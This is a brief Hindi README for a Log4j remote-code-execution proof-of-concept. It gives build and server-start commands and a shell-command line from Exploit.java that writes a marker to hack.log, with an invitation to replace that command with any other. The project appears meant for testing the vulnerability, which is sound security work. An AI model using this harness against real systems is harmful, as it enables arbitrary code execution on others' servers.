log4j-rce-test

बिल्ड

./build.sh

log4j RCE सर्वर शुरू करें

./start-log4j-rce-server.sh

परीक्षण

• चलाएँ java -cp log4j-rce-1.0-SNAPSHOT-all.jar log4j जांचें कि क्या आपको वर्तमान फ़ोल्डर से hack.log में लॉग मिलते हैं
• आप इस लाइन को बदल सकते हैं
  String[] cmds = { "sh", "-c", "echo 'Exploit at '" + getDateString() + " >> ./hack.log" };
  फ़ाइल apache-log4j-poc/src/main/java/Exploit.java में अपनी पसंद के अनुसार, फिर पुनर्निर्माण करें और परीक्षण चलाएँ
• यदि आप maven कंपाइल त्रुटि देखते हैं तो issue #1 देखें

क्रेडिट्स

• https://github.com/tangxiaofeng7/apache-log4j-poc.git
• https://github.com/mbechler/marshalsec.git